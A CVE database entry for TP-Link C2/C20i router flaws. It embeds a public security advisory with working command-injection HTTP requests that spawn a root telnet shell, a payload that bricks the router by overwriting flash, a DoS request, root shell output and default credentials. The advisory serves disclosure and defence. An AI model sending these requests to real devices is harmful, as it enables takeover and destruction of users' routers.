Vulnerabilities > CVE-2017-8219 - Improper Input Validation vulnerability in Tp-Link C20I Firmware and C2 Firmware
Attack vector
NETWORK Attack complexity
LOW Privileges required
LOW Confidentiality impact
NONE Integrity impact
NONE Availability impact
HIGH Summary
TP-Link C2 and C20i devices through firmware 0.9.1 4.2 v0032.0 Build 160706 Rel.37961n allow DoSing the HTTP server via a crafted Cookie header to the /cgi/ansi URI.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
OS | 2 | |
Hardware | 2 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Buffer Overflow via Environment Variables This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
- Server Side Include (SSI) Injection An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
- Cross Zone Scripting An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
- Cross Site Scripting through Log Files An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
- Command Line Execution through SQL Injection An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
Seebug
bulletinFamily | exploit |
description | ## Product Description TP-Link is a Chinese manufacturer of computer networking products such as routers and IOT devices. ## Vulnerabilities Summary Command Injections exist in the HTTP management interface up to the latest firmware version (0.9.1 4.2 v0032.0 Build 160706 Rel.37961n) of TP-Link C2 and C20i, allowing an authenticated attacker to get a remote shell with root privileges. An attacker can DoS the httpd server and the firewall rules are too permissive by default on the WAN interface. ## Details - CVE-2017-8220 - RCE with a single HTTP request Using the so-called "Diagnostic" page, the attacker can run any command including telnetd, using the remote host field of the ping utility: ``` $(echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25) ``` While being authenticated (see the credentials in base64 format), sending this HTTP request directly will start a telnetd on the router on port 25/tcp without authentication: ``` POST /cgi?2 HTTP/1.1 Host: 192.168.1.1 Content-Type: text/plain Referer: http://192.168.1.1/mainFrame.htm Content-Length: 208 Cookie: Authorization=Basic YWRtaW46YWRtaW4= Connection: close [IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6 dataBlockSize=64 timeout=1 numberOfRepetitions=1 host=$(echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25) X_TP_ConnName=ewan_ipoe_d diagnosticsState=Requested ``` An attacker can also use backsticks to execute commands: ``` `echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25` ``` Resulting access: ``` user@kali:~/tplink-0day-c2-and-c20i$ telnet 192.168.1.1 25 Trying 192.168.1.1... Connected to 192.168.1.1. Escape character is '^]'. ~ # ls web usr sbin mnt lib dev var sys proc linuxrc etc bin ~ # cat /proc/version Linux version 2.6.36 ([email protected]) (gcc version 4.6.3 (Buildroot 2012.11.1) ) #1 Wed Jul 6 10:01:06 HKT 2016 ~ # ls -la drwxr-xr-x 9 176 web drwxr-xr-x 13 0 var drwxr-xr-x 4 38 usr drwxr-xr-x 11 0 sys drwxr-xr-x 2 193 sbin dr-xr-xr-x 83 0 proc drwxr-xr-x 2 3 mnt lrwxrwxrwx 1 11 linuxrc -> bin/busybox drwxr-xr-x 3 786 lib drwxr-xr-x 5 776 etc drwxr-xr-x 5 1274 dev drwxr-xr-x 2 280 bin drwxr-xr-x 13 177 .. drwxr-xr-x 13 177 . ~ # cd etc /etc # ls vsftpd_passwd init.d SingleSKU_5G_RU.dat vsftpd.conf group SingleSKU_5G_NZ.dat ushare.conf fstab SingleSKU_5G_MY.dat services default_config.xml SingleSKU_5G_KR.dat samba TZ SingleSKU_5G_FCC.dat resolv.conf SingleSKU_RU.dat SingleSKU_5G_CE.dat reduced_data_model.xml SingleSKU_NZ.dat SingleSKU_5G_CA.dat ppp SingleSKU_MY.dat RT2860AP5G.dat passwd.bak SingleSKU_KR.dat RT2860AP.dat passwd SingleSKU_FCC.dat MT7620_AP_2T2R-4L_V15.BIN iptables-stop SingleSKU_CE.dat MT7610E-V10-FEM-1ANT.bin inittab SingleSKU_5G_VN.dat /etc # cd .. ~ # ls -la drwxr-xr-x 9 176 web drwxr-xr-x 13 0 var drwxr-xr-x 4 38 usr drwxr-xr-x 11 0 sys drwxr-xr-x 2 193 sbin dr-xr-xr-x 83 0 proc drwxr-xr-x 2 3 mnt lrwxrwxrwx 1 11 linuxrc -> bin/busybox drwxr-xr-x 3 786 lib drwxr-xr-x 5 776 etc drwxr-xr-x 5 1274 dev drwxr-xr-x 2 280 bin drwxr-xr-x 13 177 .. drwxr-xr-x 13 177 . ~ # ps PID USER VSZ STAT COMMAND 1 admin 1060 S init 2 admin 0 SW [kthreadd] 3 admin 0 SW [ksoftirqd/0] 4 admin 0 SW [kworker/0:0] 5 admin 0 SW [kworker/u:0] 6 admin 0 SW< [khelper] 7 admin 0 SW [kworker/u:1] 44 admin 0 SW [sync_supers] 46 admin 0 SW [bdi-default] 48 admin 0 SW< [kblockd] 80 admin 0 SW [kswapd0] 82 admin 0 SW< [crypto] 130 admin 0 SW [mtdblock0] 135 admin 0 SW [mtdblock1] 140 admin 0 SW [mtdblock2] 145 admin 0 SW [mtdblock3] 150 admin 0 SW [mtdblock4] 155 admin 0 SW [mtdblock5] 160 admin 0 SW [mtdblock6] 172 admin 0 SW [kworker/0:1] 214 admin 0 SW [khubd] 245 admin 1060 S telnetd 251 admin 2932 S cos 252 admin 1060 S init 255 admin 2120 S igmpd 258 admin 2144 S mldProxy 345 admin 2932 S cos 346 admin 2932 S cos 347 admin 2932 S cos 366 admin 2088 S ntpc 371 admin 2096 S dyndns /var/tmp/dconf/dyndns.conf 374 admin 2096 S noipdns /var/tmp/dconf/noipdns.conf 377 admin 2096 S cmxdns /var/tmp/dconf/cmxdns.conf 433 admin 0 SW [RtmpCmdQTask] 434 admin 0 SW [RtmpWscTask] 445 admin 1244 S wlNetlinkTool 449 admin 1080 S wscd -i ra0 -m 1 -w /var/tmp/wsc_upnp/ 465 admin 1244 S wlNetlinkTool 466 admin 1244 S wlNetlinkTool 489 admin 0 SW [RtmpCmdQTask] 490 admin 0 SW [RtmpWscTask] 503 admin 1064 S wscd_5G -i rai0 -m 1 -w /var/tmp/wsc_upnp_5G/ 506 admin 2668 S httpd 518 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port 521 admin 2084 S dnsProxy 526 admin 1068 S dhcpd /var/tmp/dconf/udhcpd.conf 551 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port 552 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port 553 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port 554 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port 555 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port 556 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port 557 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port 558 admin 2668 S tmpd 561 admin 2556 S tdpd 569 admin 988 S dhcpc 578 admin 1036 S zebra -d -f /var/tmp/dconf/zebra.conf 594 admin 2088 S diagTool 625 admin 1136 S dropbear -p 22 -r /var/tmp/dropbear/dropbear_rsa_hos 642 admin 2468 S ushare 658 admin 2468 S ushare 660 admin 2468 S ushare 661 admin 2468 S ushare 662 admin 2468 S ushare 663 admin 2468 S ushare 664 admin 2468 S ushare 666 admin 2468 S ushare 851 admin 1060 S /usr/sbin/telnetd -l /bin/sh -p 25 853 admin 1072 S /bin/sh 876 admin 1068 S /bin/sh 878 admin 2576 S cli 887 admin 1060 R ps ~ # ``` With this RCE, an attacker will be able to dump and modify the configuration by editing `/dev/mtd3`. The configuration is written in XML format and is located in the beginning (starting at offset `0x10`) of this MTD (64K). If the attacker sends this string, the router will be unable to boot and will be bricked, by writing random characters on top of the u-boot partition: ``` POST /cgi?2 HTTP/1.1 Host: 192.168.1.1 Content-Type: text/plain Referer: http://192.168.1.1/mainFrame.htm Content-Length: 208 Cookie: Authorization=Basic YWRtaW46YWRtaW4= Connection: close [IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6 dataBlockSize=64 timeout=1 numberOfRepetitions=1 host=$(echo 127.0.0.1; cat /dev/random > /dev/mtd0) X_TP_ConnName=ewan_ipoe_d diagnosticsState=Requested ``` ## Details - CVE-2017-8219 - DoSing the HTTP server While being authenticated (see the credentials in base64 format), sending this HTTP request directly will crash the remote HTTP server: ``` GET /cgi/ansi HTTP/1.1 Host: 192.168.1.1 Content-Type: text/plain Referer: http://192.168.1.1/mainFrame.htm Content-Length: 208 Cookie: Authorization=Basic YWRtaW46YWRtaW4= Connection: close ``` A resulting core file will be written in the router inside the /var partition of the attacked router: ``` /var # ls -la /var/ drwxrwxrwx 2 0 lock drwxrwxrwx 2 0 log drwxrwxrwx 2 0 run drwxrwxrwx 7 0 tmp drwxr-xr-x 3 0 Wireless drwxrwxrwx 2 0 usbdisk drwxrwxrwx 2 0 dev drwxr-xr-x 5 0 samba -rw-r--r-- 1 132 passwd drwxrwxrwx 2 0 3G drwxrwxrwx 2 0 l2tp rwxrwxrwx 7 0 vsftp -rw------- 1 348160 core-httpd-506-11-1482798208 drwxr-xr-x 13 177 .. drwxr-xr-x 13 0 . /var # ``` ## Details - CVE-2017-8217 - Permissive Iptables rules The default iptables rules are generated within `/lib/libcmm.so` by writing commands inside `/var/tmp/dconf/rc.router` and using `system()` on this file. `/var/tmp/dconf/rc.router`: ``` #!/bin/sh [...] iptables -t nat -A POSTROUTING -j NATLOOPBACK_UPNP_SECCONN iptables -t nat -A POSTROUTING -j POSTROUTING_NATLOOPBACK_DMZ iptables -t nat -A PREROUTING -j PREROUTING_DMZ iptables -t filter -A FORWARD -i br+ -j ACCEPT iptables -t filter -A FORWARD -d 224.0.0.0/4 -j ACCEPT [...] ``` By default, the SNMP port is open on every interface: ``` iptables -A INPUT -p udp --dport 161 -j ACCEPT ``` This can be verified with iptables on the router: ``` /proc # iptables -nL Chain INPUT (policy DROP) [...] ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:161 [...] ``` You can check too by reading the file `/var/tmp/dconf/rc.router`. Luckily, even if SNMP configuration can be modified using the hidden `/main/snmp.html` webpage, it appears the snmpd has been removed from the firmware image. ## Details - CVE-2017-8218 - Misc The binaries (`/usr/bin/cos`, `/usr/bin/tmpd`, `/lib/libcmm.so`) are overall badly designed programs, executing tons of `system()` and running as root. `/usr/bin/cos` is a daemon running as root and is launched at the end of `/etc/init.d/rcS` (`cos &`): it starts all the daemons using system (httpd ntpc dnsProxy dhcpd dhcpc snmpd upnpd diagTool voip_server voip_client pjsua cwmp wlNetlinkTool pppd dyndns igmpd zebra ushare smbd vsftpd telnetd, noipdns hostapd ipsecVpn radvd mldProxy racoon wscd...) `/usr/bin/tmpd` is a daemon running as root and listens to `127.0.0.1:20002`. `/lib/libcmm.so` is a library with all the main system functions (system reinitialisation [admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh], wifi configuration, debugging with TFTP[hi dutserver!], VPN configuration, `ifconfig interfaces`, `insmod /lib/modules/pptp.ko`, ...) Vsftpd contains default weak passwords: ``` user@kali:~$ cat ./etc/vsftpd_passwd admin:1234:1:1;guest:guest:0:0;test:test:1:1;$ user@kali:~$ ``` Access: ``` admin:1234 guest:guest test:test ``` ## Vendor Response T-P-Link plans to release a new firmware in February 2017, patching all listed vulnerabilities. T-P-Link wants to draw attention that in order to exploit two over three security vulnerabilities, an attacker would need to have valid credentials. ## Report Timeline * Sep 17, 2016: Vulnerabilities found by Pierre Kim. * Dec 26, 2016: TP-Link support is contacted by livechat. TP-Link replies there is no process to handle security problems in TP-Link routers and refuses to indicate a security point of contact. * Dec 27, 2016: TP-Link support is notified of the vulnerabilities (using support () tp-link.com, security () tp-link.com, lishaozhang () tp-link.net [from `/lib/modules/ipt_STAT.ko`], [email protected] [from `/lib/modules/tp_domain.ko`]). * Dec 29, 2016: Pierre sends a full advisory to TP-Link security team. * Dec 30, 2016: TP-Link confirms the reception of the advisory. * Jan 03, 2017: Pierre asks TP-Link to confirm the vulnerabilities. * Jan 09, 2017: TP-Link confirms the security vulnerabilities in TP-Link C2 and C20i routers and security patches are in progress. * Jan 21, 2017: Ping from TP-Link about the "Vendor Response" section. * Jan 23, 2017: Pierre answers, asking details in the "Vendor Response" section. * Jan 24, 2017: TP-Link Korea contacts Pierre Kim about the vulnerabilities. * Jan 27, 2017: Pierre sends a final draft to TP-Link. * Feb 09, 2017: A public advisory is sent to security mailing lists. ## Credit These vulnerabilities were found by Pierre Kim ([@PierreKimSec](https://twitter.com/PierreKimSec)). ## References [https://pierrekim.github.io/advisories/2017-tplink-0x00.txt](https://pierrekim.github.io/advisories/2017-tplink-0x00.txt) [https://pierrekim.github.io/blog/2017-02-09-tplink-c2-and-c20i-vulnerable.html](https://pierrekim.github.io/blog/2017-02-09-tplink-c2-and-c20i-vulnerable.html) ## Disclaimer This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: [http://creativecommons.org/licenses/by-nc-sa/3.0/](http://creativecommons.org/licenses/by-nc-sa/3.0/) |
id | SSV:92671 |
last seen | 2017-11-19 |
modified | 2017-02-10 |
published | 2017-02-10 |
reporter | Root |
title | TP-Link C2 and C20i command injection Vulnerability |